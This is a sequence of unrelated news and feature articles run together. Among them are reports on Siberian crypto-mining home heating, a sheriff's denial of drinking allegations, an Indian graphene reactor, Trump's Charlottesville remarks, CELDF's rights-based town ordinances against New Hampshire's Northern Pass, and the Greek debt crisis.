"Based on the current capabilities of this system, approximately two capsules would be equivalent to one injection," Horava said. "However, we anticipate that we will make further improvements to the delivery capacity of the oral delivery system and therefore decrease the capsule amount."
The researchers plan to further test this system before clinical trials. They are working with the UT Austin Office of Technology Commercialization to further advance the technology for clinical use. The researchers indicate that their ultimate goal is to position this technology for Food and Drug Administration approval.Siberians Use Cryptocurrency Miners to Heat Homes
RT has reported that citizens of the Russian city of Irkutsk in Siberia have been using cryptocurrency mining to heat their homes. Irkutsk has attracted many cryptocurrency miners due to the city’s cheap power prices.
Also Read: Bitcoin ATMs On the Rise in Russia
Two Irkutsk Entrepreneurs Have Developed an Underfloor Heating System Connected to Mining Hardware
Local entrepreneurs, Ilya Frolov and Dmitry Tolmachyov, have developed a functioning prototype for an underfloor heating system that utilizes the heat generated by cryptocurrency miners. Frolov discussed their prototype with local media, stating “usually mining machines are cooled by blowers; the heat is then released to the atmosphere. We consider this not rational or ecological, that’s why we’ve implemented a concept where the heat from computing operations is used for peaceful purposes of warming houses.”
Frolov and Tomachyov have stated that they intend to construct around 2,000 “cryptohouses” by 2020 – with each unit providing heat through mining.
RT Reports That More Than One Thousand People Are Mining Cryptocurrency in Irkutsk
The city is reported to be describing itself as “Russia’s informal mining capital,” and is home to a cafe that accepts bitcoin. Irkutsk will also soon host a bitcoin ATM, which was indicated in early October by Anton Friedel – the director of Russian start-up Bbfpro, a company that recently installed ten bitcoin ATMs in Russia’s third most populous city.
Frolov asserts that many cryptocurrency miners are drawn to Irkutsk by the city’s low energy costs – with RT reporting that power prices in Irkutsk are approximately one-fifth of those in Moscow. “The profitability of computing calculation at times exceeds the cost of electricity, that’s why it is rational to use it this way,” Frolov stated. In recent weeks, Mybroadband.co.za published a story featuring a quote from Yury Dromashko, a Russian who sold an apartment to raise the capital needed to establish a bitcoin mining farm in Irkutsk. Mr. Dromashko stated that “mining is a promising business that helps Russians earn hard currency.”
What do you think of Siberians using cryptocurrency miners to heat their homes? Share your thoughts in the comments section below!
Images courtesy of Shutterstock, RT
The Bitcoin universe is vast. So is Bitcoin.com. Check our Wiki, where you can learn everything you were afraid to ask. Or read our news coverage to stay up to date on the latest. Or delve into statistics on our helpful tools page.Greenville Co. Sheriff denies drinking on the job claims Copyright by WSPA - All rights reserved Greenville County Sheriff denies drinking on the job claims [ + - ] Video
Greenville County's top Candidates are battling it out ahead of next week's runoff for Sheriff.
Republican Candidate Will Lewis is claiming Sheriff Steve Loftis has been drinking on the job.
Lewis provided 22 receipts that he says proves Loftis often drank alcohol while on the clock.
Brandon Brown is a former manager at Outman Cigars, a place Lewis says is Loftis' favorite watering hole.
Brown says he witnessed Loftis at the bar as early as 3 o'clock in the afternoon ordering up to 5 drinks and stumbling next to his car.
Brandon Brown is a former GM of Outman Cigars and says he's witnessed Loftis drinking as early as 3 o'clock in the afternoon.
"Several times I've had to follow him home after asking him to both allow us to take him home and being refused. Sometimes he would just have a cup of coffee and a water, many times he would have several of his beverages of choice. We've witnessed him coming in and having several drinks, several meaning 3, 4, 5 drinks at a time up until about 5 o'clock and going home after that. So that would have been during your normal working hours," says Brown.
7 News brought the receipts to Loftis to get his side of the story.
"No, they're not mine. Like I said it's an act of desperation and nothing surprises me really in their accusations and finger pointing that has been going on in the past several weeks."
Loftis says everything Lewis has said about him drinking on the clock and driving impaired is completely false.
"I occasionally smoke a fine cigar and my favorite drink of choice is black coffee and ice water."
The owner of Outman Cigars, Chris Tsangarides, says Loftis stops by about three times a week and has never seen Loftis take a sip of alcohol.
"It's completely out of character. Anybody who knows the man would tell you that," says Tsangarides.
He says, not to mention, Loftis' name isn't on any of the receipts.
"The receipts produced on the flyer could be anybody's."It is not very well-known, but India’s import bill for electronic items is next only to petroleum products. And by 2020, the value of electronic imports is likely to actually exceed that of petrol. We have a very vibrant electronic sector, with lots of activity in research and development, applications, and product use, but negligible manufacturing. Almost every electronic component, equipment or instrument being used in the laboratory or industry in India is imported.
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It is in this context, we believe, that our latest effort, to design and construct a producer of graphene, breaks new ground. Graphene is special kind of pure carbon, just one atom thick, that has the potential to be used in very novel ways in the electronics industry.
Graphene has been the subject of much interest in the electronics industry because of its extraordinary properties. It is stiffer than steel, and yet very flexible owing to its thinness. It conducts electricity and is already being used as a conductor in some components. There is a lot of demand for graphene from the laboratories and also the industry.
There are two main ways of producing graphene. The older, and more common way, is to break down graphite, another form of carbon, into more flatter, flake-like graphene. This produces graphene that is about 4-5 microns (one micron is one millionth of a metre) in width. This is enough as far as carrying out research is concerned. But for using graphene in technology products, bigger sizes are required.
The other, more modern method uses methane in a specially constructed reactor. The graphene produced in this manner has no size restriction.
We had built a prototype reactor some time back and were producing graphene mainly for our own research purposes. Once in a while, we used to get requests from other laboratories, or research groups, and even from members of the industry for graphene, and we supplied them small amounts.
It was when these requests became more frequent, and the interest in graphene grew, that we decided to turn the prototype into a full commercial reactor, that anyone could buy and produce the material.
We then got in touch with KAS tech, an electronics company, which was already partnering with us on a variety of projects. Once we were convinced about the idea, we floated a proposal to the Department of Electronics and Information Technology (DEITY) that runs a special multiplier grants scheme for such projects that try to give a fillip to indigenous manufacturing.
The scheme significantly covered our costs and we decided to build a commercial reactor for producing graphene.
We needed to work on the design, add new functionalities to ensure that it was one fully-integrated system and the customer did not need to invest in any add-ons, and improve on the safety features. We also had to improve on its appearance so that it looked like a professional product in the market. We were satisfied to see that the end product is as good as any in the international market. We launched the product at an exhibition in Bangalore last month.
By: Srinivasan Raghavan, IISc, Bangalore
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For your research to be considered for this column, please write to Senior Editor Amitabh Sinha at [email protected](CNN) President Donald Trump, in a staggering, impromptu news conference in New York on Tuesday, blamed the violence in Charlottesville, Virginia, over the weekend on both sides of the conflict -- equating the white supremacists on one side with the "alt-left" on the other side -- after his top White House aides spent days trying to clean up after Trump's initial vague response to the violence.
The news conference laid bare his unvarnished view of who was to blame for the violence and what he thinks about the nationwide effort to remove statues of Confederate leaders. Trump's comments were the latest in what has been a jaw-dropping saga ever since the President made his first vague statement on the violence, blaming the conflicts on "many sides." The comments also made clear that Trump's speech on Monday -- which vociferously blamed the violence on the "alt-right" and neo-Nazi groups who initiated the protest -- was largely a sterilized version of his view.
"I think there is blame on both sides," Trump said during a contentious back-and-forth with reporters in the lobby of his Midtown Manhattan building.
"What about the 'alt-left' that came charging at, as you say, the 'alt-right,' do they have any semblance of guilt?" Trump asked. "What about the fact they came charging with clubs in hands, swinging clubs, do they have any problem? I think they do."
He added: "You had a group on one side that was bad and you had a group on the other side that was also very violent. nobody wants to say it, but I will say it right now."
'Many sides'
On Saturday, as violence in Charlottesville played out on national television, Trump blamed "many sides" for the conflict. Though that answer was quickly panned by Democrats and Republicans alike, Trump remained silent on Sunday, leaving it to his aides to try to clean up his vague answer. Trump, after mounting pressure that was palpable inside the White House, spoke Monday and condemned the white supremacists and neo-Nazis at the heart of the violence.
On Tuesday, though, Trump defended his 48-hour delay in denouncing white supremacists, arguing that he took his time because he didn't know the facts.
"I wanted to make sure, unlike most politicians, that what I said was correct, not make a quick statement," Trump said, calling his initial comment a "fine statement."
He added: "I don't want to go quickly and just make a statement for the sake of making a political statement."
The President subsequently called the driver of the car that drove through a crowd, killing one woman, a "murderer" then once again blamed both sides for the violence.
"You can call it terrorism, you can call it murder. You can call it whatever you want," he said. "The driver of the car is a murderer and what he did was a horrible, horrible, inexcusable thing."
"I didn't wait long. I didn't wait long. I wanted to make sure, unlike most politicians, that what I said was correct, not make a quick statement," Trump said Tuesday. "The statement I made on Saturday, the first statement, was a fine statement, but you don't make statements that direct until you know the facts. It takes a little while to get the facts. You still don't know the facts and it is a very, very important process to me. It is a very important statement."
A senior White House official says chief of staff John Kelly and other top advisers hoped the President would turn a corner Tuesday and talk about infrastructure, but concedes they were entirely wrong.
"That was all him -- this wasn't our plan," the official said, speaking confidentially about internal deliberations.
The President has been fuming in closed-door meetings about what he sees as unfair coverage and those feelings played out on Tuesday.
Some aides gleefully watched as Trump slammed the "fake news," but Kelly stood off to the side as Trump spoke, his face stern and his arms crossed.
Removing Confederate statues
Trump also warned against nationwide attempts to remove statues to Confederate leaders, arguing that attempts to remove the statue of Robert E. Lee could lead to attempts to remove monuments honoring former Presidents George Washington and Thomas Jefferson.
"You are changing history, you are changing culture" by taking down statues to past leaders, he said.
Trump said there were some "very bad people" on both sides, but that there was some who came out to protest the removal of Robert E. Lee's statue who were "fine people."
"You had people in that group that were there to protest the taking down, to them, of a very, very important statue and a renaming of a park from Robert E. Lee to another name," Trump said.
Pressed by reporters, Trump raised Washington and Jefferson, arguing there could be a slippery slope.
"George Washington was a slave owner. So will George Washington lose his status? Are we going to take down statues to George Washington?" he said. "How about Thomas Jefferson, what do you think of Thomas Jefferson, do you like him? OK good. Are we going to take down the statues, because he was a major slave owner? Now are we going to take down his statue?"
He added: "You know, you really do have to ask yourself, where does it stop?"
Trump's slippery slope argument is straight out of the 'alt-right' playbook.
Corey Stewart, an 'alt-right' leader and the former Republican gubernatorial candidate turned Senate candidate in Virginia, tweeted in response to Trump on Tuesday, "They won't stop until all of American history is erased."
Touts winery in Virginia
After leaving the podium, Trump was asked whether he planned to go to Charlottesville. His response, "Does anyone know I own a house in Charlottesville?"
Trump was referring to his winery in the city.
"I mean I know a lot about Charlottesville," he said. "Charlottesville is a great place that has been very badly hurt over the last couple of days."
He added: "I own actually one of the largest wineries in the United States, it is in Charlottesville."Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Sugar Hill, New Hampshire. Courtesy: Anthony Quintano Ad Policy
The 600 residents of Sugar Hill, New Hampshire, have done a laudable job of keeping the vulgarities of modern life at bay. There are no fast-food restaurants, no neon signs. Instead, the former iron-mining town has rambling country inns and a main road lined with Victorian and Arts and Crafts houses. Locals gather for breakfast, as they have since 1938, at Polly’s Pancake Parlor, which grinds its own corn and wheat and uses syrup from the sugar maples that give the town its name. With tourism driving the economy, the village’s biggest assets are its fall foliage, fields of lupines and uninterrupted views of the snow-capped White Mountains.
Each March, Sugar Hill’s voters gather at the white meetinghouse—a converted church built in 1830 with a trio of gold-leaf clocks on its steeple—for their annual town meeting. Anyone who collects enough signatures can place an item on the agenda to be voted into law. That New Englander impulse toward self-government, combined with the feistiness that led Sugar Hill to secede from a neighboring town in 1962, might explain its residents’ sweeping response when they learned in 2010 that an international electric consortium has proposed a high-voltage transmission line that would slice through the village like a giant zipper.
The Northern Pass, if built, would enter New Hampshire at the Canadian border and bisect some of the state’s most intact forestland as it connects Quebec’s hydroelectric dams with New England’s power grid. Steel towers, some exceeding thirteen stories in height, would line the 180-mile route, which snakes through ten miles of protected national forest and seven miles of Sugar Hill. Conservationists say the project is unneeded and could degrade waterways and fragment wildlife habitats.
But what New Hampshirites fear most is that the Northern Pass will disfigure the state’s visual landscape. “It could destroy our economy,” says Dolly McPhaul, a lifelong Sugar Hill resident. “If people don’t build their second homes here, where are the builders going to get their money? The plumbers? The grocery store that feeds these people?” McPhaul and her neighbors were particularly disheartened to learn that the Northern Pass required federal and state permits—but no local permits at all.
“You’re shocked to find out you have no say,” says Nancy Martland, a retired child-development researcher who moved to Sugar Hill in 2007. “Even your whole town. Even at town meeting. Even your Select Board. You have no power. People in New Hampshire—maybe everywhere, I don’t know—we want to stand up for ourselves.”
So they did. Last year, Martland and McPhaul campaigned for a local ordinance that would ban corporations from acquiring land or building structures to support any “unsustainable energy system.” The ordinance stripped those corporations of their free-speech and due-process rights under the Constitution, as well as protections afforded by the Constitution’s commerce and contract clauses. Judicial rulings that recognized corporations as legal “persons” would not be recognized in Sugar Hill. Any state or federal law that tried to interfere with the town’s authority would be invalidated. “Natural communities and ecosystems”—wetlands, streams, rivers, aquifers—would acquire “inalienable and fundamental rights to exist and flourish,” and any resident could enforce the law on their behalf. “All power is inherent in the people,” the measure stated.
Sugar Hill’s attorney suggested this was folly; local governments can’t override state or federal law, much less the Constitution. Such an ordinance could attract a lawsuit, which the village could ill afford. McPhaul, a Republican and a charity volunteer and self-described “goody two-shoes,” also worried about litigation. “But what is your option?” she asks. “To lie down, play dead and let them destroy your town?” After a two-month public-awareness campaign, Sugar Hill’s residents took up the ordinance at their 2012 town meeting. It passed by a unanimous voice vote.
Thus, Sugar Hill became one of dozens of communities nationwide—mostly villages but also the city of Pittsburgh—that have reacted to environmental threats by directly challenging the Constitution and established case law. The leading champion of this confrontational strategy—which has its share of critics, even among progressives who share the sense of desperation that is driving it—is a bearish 43-year-old attorney named Thomas Linzey. These skirmishes, Linzey believes, are the first steps in a long campaign to wrest power from corporations and strengthen American democracy. He refers to the strategy as “collective nonviolent civil disobedience through municipal lawmaking.”
* * *
Linzey runs the Community Environmental Legal Defense Fund, a Pennsylvania nonprofit that advocates for local self-government and the rights of nature. CELDF comes into threatened communities, educates residents about US legal history, and trains them to advocate for “rights-based ordinances” like Sugar Hill’s. About thirty municipalities in Maine, New Hampshire, Massachusetts, New York, Pennsylvania, Maryland, Virginia, Ohio and New Mexico have enacted such measures, according to Linzey, following an earlier round of over 100 more modest laws. CELDF’s organizers have helped citizens fight frackers, coal companies, factory farms, big-box stores, water bottlers and sewage-sludge dumpers. They’ve campaigned to overhaul the city charter in Spokane, Washington. And they aided the successful effort to confer rights on nature in Ecuador’s 2008 Constitution. Linzey, whose baritone voice is filled with populist fire, has crafted a message whose appeal brings together liberals distrustful of big business and conservatives distrustful of big government.
Linzey’s approach has evolved dramatically since 1995, when the organization he co-founded started assisting Pennsylvania communities that were battling polluters and developers. Newly admitted to the bar, the young Alabaman initially put his faith in the regulatory system. “It seemed to us at the time that people needed lawyers,” he recalls. “The problem was not that we didn’t have good environmental laws. The problem was, the world has gone to shit because we didn’t have enough people enforcing those laws.” So Linzey applied what he’d learned in law school. Faced with a proposed incinerator or landfill, “we would take the 400-page application and try to find places where it was deficient—gaps, omissions, those types of things.” Based on these bureaucratic challenges, CELDF’s clients often won their first rounds.
“Then the community group would have a victory party,” he recalls. “Everybody would pat each other on the back and say the system works. Meanwhile, thirty, sixty days from then, the corporation would come back and submit a new and improved permit application, and the project would move forward. So we weren’t stopping anything.”
The attorney wondered what he was accomplishing by working within the system. “In many ways, the regulatory process is intended to exhaust communities, because it does not recognize—and neither does the broader structure of the law recognize—that communities have any power to make those fundamental decisions about energy or transportation or agriculture.” Citizens could delay but not stop projects; the law was “merely regulating the rate at which the environment was being destroyed.”
Behind Linzey’s epiphany is almost 200 years of jurisprudence giving both constitutional rights and legal personhood to corporations. The Supreme Court’s 2010 Citizens United decision, which used the First Amendment to permit corporations unlimited independent political spending, is just the latest in a chain of such rulings. Most famous is the 1886 case Santa Clara v. Southern Pacific, in which a railroad company argued that a particular tax law violated the Fourteenth Amendment’s equal-protection clause. “The court does not wish to hear argument on the question whether the [clause] applies to these corporations,” Chief Justice Morrison Waite said from the bench. “We are all of opinion that it does.” Since then, courts have also used the Constitution’s Fourth and Fifth Amendments, and its commerce and contract clauses, to expand corporate rights. Linzey believes these rulings are rooted in the very structure of the Constitution, which he says “puts the rights of property and commerce over the rights of people, communities and nature.”
The Constitution also concentrates power by declaring itself, along with federal statutes, “the supreme law of the land.” And starting in 1868, a judicial doctrine known as Dillon’s Rule held local governments subservient to state legislatures, which “breathes into them the breath of life, without which they cannot exist,” Linzey adds.
With communities holding so little authority, Linzey and his colleagues decided that the only way to fight environmental threats was through open defiance. He compares this to Northern jurors who refused to convict defendants in fugitive slave cases, suffragists who risked arrest to vote and African-Americans who sat down at segregated lunch counters. “Change does not happen by silver-tongued lawyers going into courthouses,” he says. “The only way law changes is through disobedience.” There was no reason, he concluded, that disobedience couldn’t come from local governments—and he found eager allies in Pennsylvania’s Republican-leaning farm country.
* * *
Linzey had started receiving calls from elected supervisors worried about the arrival of factory hog farms in their rural townships. The officials had tried to stave off the invasions by strictly regulating manure disposal, only to find their efforts pre-empted by Pennsylvania law. Now some were willing to butt heads with the state government. Linzey drafted an ordinance that would ban corporate farming altogether, drawing from similar laws passed by nine Midwestern states. About twenty townships enacted the measure, he estimates, followed by eighty that banned the importing of corporate-hauled sewage sludge for use as fertilizer on farm fields. (Despite industry assurances, some scientists consider the noxious sludge toxic. Two Pennsylvania teens had recently died after exposure to such sludge.) A few townships went further, refusing altogether to recognize the personhood of corporate sludge haulers.
Predictably, Pennsylvania’s state government invoked its supremacy. It passed a law in 2005 empowering the attorney general to sue local governments that restrict “normal agricultural operations,” then took legal action against two townships, East Brunswick and Packer. Both withdrew their sludge bans, though Packer’s supervisors voted not to recognize the attorney general’s authority to restrict their autonomy. A court voided that measure.
News of the Pennsylvania rebellion reached other places. In Barnstead, New Hampshire (population 4,600), a home-schooling mother named Gail Darrell, who lives in a Revolutionary War–era cabin with her piano-tuner husband, watched with alarm as a water bottler called USA Springs announced plans to extract 310,000 gallons a day from three bedrock wells in nearby Nottingham. A report by civil engineer Thomas Ballestero warned that the operations could deplete and contaminate the local water supply. Yet the project seemed to be moving forward.
Darrell had never been involved in local politics. But her children were getting older, leaving her with free time. So she volunteered to sit on a committee studying how Barnstead could protect its own water. There she learned about CELDF and invited Linzey to speak to the town’s selectmen. Linzey’s call to outlaw corporate privilege found a receptive audience in freedom-loving New Hampshire. (The state constitution authorizes its citizens to form a new government when the existing one starts serving private interests.) “It’s always been a bit ornery up here,” says Gordon Preston, who chaired the board of selectmen at the time. Preston had reservations about CELDF’s approach: “The biggest fear of a small town is that they get their asses hauled into court and have little or no money to defend themselves.” But he also shared Linzey’s concern about corporate power and supported the principle of local self-government.
Darrell worked with the selectmen to put an anti-bottling ordinance on the 2006 town meeting agenda. Shortly before the vote, Linzey and historian Richard Grossman came to Barnstead to teach CELDF’s Democracy School, an intensive seminar that traces the history of corporate and government power. It was a clarifying moment for Darrell. “I didn’t really understand about the Constitution till I went through the school—that it wasn’t about freedom,” she says. “We grow up with that IV drip in our arm that tells us that we live in the greatest democracy that ever was.” The seminar gave Darrell the momentum she needed to defend the ordinance, which passed overwhelmingly at the town meeting and was strengthened two years later. Barnstead not only banned corporate water withdrawals and stripped bottling companies of their presumed constitutional rights; it also threatened secession from any government that tries to overturn the ban or “intimidate the people of Barnstead.” The measure was among the first to confer civil rights on natural systems like aquifers and rivers. Nottingham, which had initially rebuffed CELDF, followed suit with a similar measure.
“New Hampshire has always had an independent spirit,” Darrell says. “The soil here is crap, and you really have to work hard to farm. When people came up here to settle, they were coming into no-man’s land. You had to have enough gumption to stick it out, to stand up for yourself, and to make it through the winter. That spirit has carried out into the way we treat government. We believe that we have the inalienable right to govern ourselves. So to hear the language of the ordinance—that didn’t seem foreign to people.”
USA Springs later filed for bankruptcy, so it is hard to know whether these ordinances had any impact. But Darrell, who became CELDF’s New England organizer, claimed a more tangible victory in Shapleigh, Maine, where residents passed a rights-based ordinance in 2009. Their target, the Nestlé subsidiary Poland Spring, pulled up its test wells and left four months later. “Without the town’s permission to proceed on that project,” says Mark Dubois, the company’s natural-resource manager, “we had no project.”
Nestlé’s withdrawal felt particularly sweet because Shapleigh’s citizens had defied both the company and their own elected officials. When the board of selectmen refused to put the rights-based ordinance to a public vote, calling it unconstitutional, bottling opponents convened their own town meeting and passed it 114-66. “Nobody is covering our asses out here,” says Charles Mullins, a retired machinist who later served one term as selectman. “When the people up high don’t do their jobs, then we’ve got to get out in the streets and do it ourselves.”
Victories like Shapleigh’s have inspired other threatened communities, but they’re not really part of CELDF’s long-term game plan. For Linzey, disobedient lawmaking is an organizing tactic, not a legal one. He knows municipalities violate the law when they assert supremacy over state and federal governments. He expects “lawsuits galore” and assumes judges won’t permit these affronts to the Constitution. But he also believes that every courtroom defeat will trigger a bigger backlash against the status quo, leading to more municipal defiance. Over time, he expects to build the critical mass necessary to amend state constitutions and eventually the federal one.
CELDF considers this the only path to environmental sustainability, and its leaders freely criticize liberals who believe otherwise. “We’re seen as not able to play well with others,” says Ben Price, who leads the nonprofit’s efforts in Pennsylvania. He admits that CELDF’s uncompromising style can be off-putting, but he doesn’t care. “Frankly, I’m not willing to suggest that the traditional progressive strategy is just as good” as the one CELDF is pursuing, and “we’re just giving another tool in the toolbox—I don’t agree with that. If trying to regulate the rate of destruction was working so well, we wouldn’t be in the mess we’re in environmentally.”
Price says that when he chats with mainstream environmentalists, “what I constantly hear is, ‘We need to have a seat at the table. If we’re not sitting down when they’re talking about these rules and regs, we’re left out. Is that what you want?’ My answer is yes. We need to stop legitimizing what they’re doing by being invited to the table of power, and then having no power.”
The criticism, though, runs both ways. Some progressives call CELDF’s tactics pie-in-the-sky at best, dangerous at worst. “I’m concerned about how this can suck energy out of other avenues for change,” says Jon Snyder, a Spokane City Council member who believes the resources spent on a CELDF-sponsored ballot initiative cost his council the chance for its “first progressive majority.” The 2011 measure would have amended the city charter to strip rights from corporations and give them to waterways, neighborhoods and workers. It lost by 1,000 votes out of 58,700 cast. That’s a thin margin, but wider than the eighty-nine votes that would have elected a fourth progressive to the seven-member council. The liberal bloc has lost 4–3 votes on marriage equality, saving union jobs, utility rate reform, historic preservation, alternatives to incarceration and job-placement services for the poor, Snyder says.
Constitutional scholar Kent Greenfield believes CELDF’s shortcomings go beyond misplaced energy. “I totally understand people’s revulsion against corporations’ misdeeds,” says the Boston College law professor. “I think, though, that we shouldn’t be squandering this political moment on organizational tools that, if implemented, would be a disaster. The reason we have a national government is because there are certain things we ought to decide at the national level and we can’t let people opt out of.” America’s racial history, he says, is exhibit number one; if Barnstead can threaten to secede, so can a town that wants to resegregate its schools. “This is what we fought the Civil War over, for goodness’ sake. This is what the civil rights movement was about. We cannot let the George Wallaces of the world stand in the schoolhouse door and say, ‘Our community norm of segregation is going to control here in the face of the national norm of equality.’ The assertion of power to rewrite the Constitution within one’s own community is a nonstarter—and ought to be.”
Linzey has heard the racial analogy before and rejects it. He argues that CELDF’s ordinances expand rights, at least to flesh-and-blood humans. The Constitution and federal laws should be used, he says, to overturn local restrictions of rights. “Vehicles are only as good,” he says, “as the values that animate them.”
* * *
In the decade since it first took aim at corporate privilege, CELDF has jumped beyond its rural roots. It crossed the Rubicon in 2010, when Pittsburgh’s City Council unanimously passed a rights-based anti-fracking ordinance. “It was a very, very assertive bill,” says sponsor Doug Shields, who has since retired from the council. “It didn’t mince words. And there was talk that if you do this, you’ll be challenged the day after your vote.” Sure enough, last year Pennsylvania’s legislature passed a bill nullifying almost all local regulation of oil and gas extraction. (The state’s Public Utility Commission says this includes the Pittsburgh ordinance.) The new law is currently in litigation.
Even before the Pittsburgh foray, CELDF started working internationally. After a handful of townships had given civil rights to “natural communities and ecosystems”—an idea floated forty years ago by legal scholar Christopher Stone in an essay titled “Should Trees Have Standing?”—CELDF was invited by an NGO to help draft a similar provision in Ecuador’s Constitution. “Ecuador has been treated by multinational corporations as a cheap hotel,” says associate director Mari Margil. “They come in, they make a giant mess, and then they leave.” The new Constitution, adopted in 2008, gives nature the right to “respect for its existence and for the maintenance and regeneration of its life cycles.” Courts have used that provision to crack down on illegal mining and road construction. Yet resource extraction continues, including the opening of 8 million acres of unspoiled rainforest to oil drilling. Margil and Linzey have also talked with activists in Nepal, Italy, India and New Zealand.
The heart of CELDF’s work, though, remains in small American communities like those affected by the Northern Pass. Besides Sugar Hill, two other towns outlawed unsustainable energy projects by popular vote last year. Three others rejected or tabled the ordinance. For all of New Hampshire’s iconoclasm, not everyone wants to register dissent through a vehicle that could be overturned in court. “Unfortunately, the state trumps anything the towns do,” says Tom Mullen, developer of a resort that lies in the transmission line’s path. “I want to focus on things that will stop this project now.” For Mullen, that means working with the state government, which in 2012 led to a victory: legislators banned the use of eminent domain to obtain right-of-way for unneeded transmission projects.
Still, CELDF keeps minting activists who want nothing to do with government as usual. Alexis Eynon, a middle-school art teacher, started attending Democracy Schools—following them around New England—when she learned the Northern Pass would come within a mile of her home in Thornton. Eynon built her house from straw bale, framing it with salvaged timber from her five wooded acres and heating it with a geothermal pump and a wood stove. “The original concept was to disturb the land as little as possible,” she says, which makes the nearby utility corridor that much harder to bear. “It takes a spectacular treasure that to me seems so rare in our country—these untouched places—and makes it mundane. It becomes like every other place that’s been destroyed by some kind of industrial project.”
Hearing Linzey speak, and attending the Democracy Schools, convinced Eynon that “nobody’s going to help us here. We have to help ourselves.” In March, she plans to present the rights-based ordinance at Thornton’s town meeting in the hope that it will follow the lead of Sugar Hill, thirty miles away. Eynon knows that some of her neighbors are wary of a lawsuit and that others support the Northern Pass outright. She still considers such ordinances New Hampshire’s only hope.
“The whole regulatory business feels like being a hamster in a hamster wheel,” she says. “I want to put my track shoes to the pavement and just start running.”
Norman Solomon recently outlined “How to Build a Grassroots Power Base” (Nov. 26, 2012).If you created a video game, what would it be about?
Another College Football. No question about it. That was and still is the greatest video game of all time. If it were still around, my passion project would be professional gamer in the NCAA College Football 2019 League. Or commissioner
What’s your favorite movie that is objectively awful?
Baseketball. While I would contend that it’s not awful at all and rather a hidden gem, I can see why a lot of critics would disagree
What was the first thing you bought with your own money?
Outside of the grape Bubble Tape back in 1989, A 65″ DLP projection TV. This was really before |
could become an international issue of such consequence. But how could they have been surprised? What’s happening in Greece is the dark side of the extreme globalization of finance that began in the 1990s and accelerated in Europe with the creation of the euro. Their surprise is part of a more profound ignorance exposed by the crisis: as financial globalization has accelerated, our knowledge of the world and its interlocking parts—political, financial, economic—has failed to keep pace.
For months, the European media’s chief response to the eurozone’s travails seemed to be facilitating a mudslinging match between creditor and debtor nations, and even now the scale of mutual incomprehension remains staggering. But the ignorance is not Europe’s alone: as a long line of debt crises dating back to the 1980s has shown, nothing reveals the superficiality of Western “knowledge” of the globe better or more painfully than when some stricken nation finds itself obliged to go cap in hand to the IMF and other international creditors, and to hear what their economists in particular have to say. In 2010, representatives of the so-called troika (the IMF, the European Commission and the European Central Bank) had to make a quick diagnosis of the roots of the Greek predicament in order to devise a cure, and the country has been suffering ever since. At the same time, foreign journalists passing through Athens have provided their own very partial story lines, focusing on corruption and malfeasance and the strains of a bloated public sector.
What the Greeks have thought about their situation, on the other hand, is not a subject that has bothered many people outside the country. Photographers flock to the demonstrations, capturing confrontations between the populace and the police in Syntagma Square in Athens and snapping photos of protesters with handmade placards likening German Chancellor Angela Merkel, austerity’s most hard-nosed advocate, to Hitler. Journalists focus on the rise of the extreme right and the appalling treatment of immigrants, or for contrast and local color file stories about aged and ruddy islanders whom the crisis seems to have passed by. In consequence, the country’s enormous resilience, and the strength of the popular desire to remain within the euro, almost at all costs, have been systematically underestimated.
What has also gone unnoticed abroad is the stream of high-quality books and essays about the present crisis that have been published in Greek. For all its many calamities, the country still possesses a cosmopolitan cultural and intellectual elite, widely read in most major languages. Economics flourishes as a discipline, retaining connections to politics and the social sciences that have disappeared in the United States. (It has also been the professional proving ground of most of the country’s recent finance ministers.) Economists in Greece still engage seriously with the Marxist inheritance, as tends to be the case in countries that cannot afford to take capitalism’s merits for granted. And political satire and social critique are alive and well, as Markaris’s Lixiprothesma daneia, among others, suggests. Reading some of these recent Greek-language publications, one finds a far richer and more nuanced picture of the crisis starting to emerge than anything currently found on this side of the Atlantic.
* * *
Plenty of old scores are being settled in these books and essays, just as plenty of claims are being staked to the future. But this is simply to say that crisis literature has become one of the main venues for a country trying to think its way out of the current impasse. Most striking, perhaps, is the degree of consensus on some important issues. All of the works reviewed here divide the responsibility for the crisis between the Greeks themselves and the European elite, with the Greeks being largely (though not entirely) responsible for weakening the country’s position up to the onset of the crisis in 2010, and the Europeans making things far worse than they needed to be thereafter. And all of them implicitly or explicitly reject the view that the reasons for the country’s woes can be traced to the deep past; there is almost no interest here in the Ottoman inheritance and its supposed impact on Greek attitudes about the state (namely, distrust).
The suggestion much discussed abroad, notably by Kenneth Rogoff and Carmen Reinhart in This Time Is Different (2009), that Greece is a serial debt defaulter is also given little credence, and parallels with the Greek debt defaults of 1893 and 1932 are quickly dismissed. Wall Street may have needed to be reminded, at least before 2008, that states can default. But what the larger history of debt default shows is not that some countries should never be lent money, but rather that international capitalism has developed on the basis of systemic global inequalities and has tended to use debt crises as one of the means of adjusting capital imbalances. There is nothing peculiar about the Greek experience that could not be paralleled in numerous other countries in Latin America, Africa and the Middle East.
The crucial date for almost everyone in Greece is 1974, when the colonels’ junta finally collapsed and democracy was restored. For the first time in the twentieth century, the country enjoyed constitutional stability: the former king was in exile, eventually settling in London’s leafy if boring Hampstead Garden suburb, and a two-party system emerged that alternated peacefully and without military interruptions. Ever since I first got to know Greece in the early 1980s, I shared the common view that the post-junta arrangement was, in the context of the country’s history of political turbulence and midcentury violence, a considerable achievement. I still think so. But there is no doubt that the present crisis has laid bare a quite different side of the “transition to democracy” and all it entailed.
Even though Greece had long been plagued by chronic balance-of-payments difficulties, it was only from the mid-1970s on that rapid growth occurred in the public sector. And though the country’s tax system had always revealed a disturbing and regressive dependence on indirect taxes, this new public-private balance posed an unprecedented challenge for the state’s limited revenue-raising capacity, one that it signally failed to meet. In the era of the drachma, the combination of fiscal stasis and increased social expectations— a desire for Greece to move closer to postwar European norms of welfare provision, healthcare and education—required constant devaluation and borrowing abroad, causing chronic inflation. Thus the seeds of the current problem were being sown well before the single currency and the emergence of a new fixed-exchange-rate regime that was to lock in the euro nations even more effectively than the old gold standard. The deindustrialization that occurred in the 1990s, including the reversion to a manufacturing base characterized by low-tech, food processing and handicrafts, only made things worse.
* * *
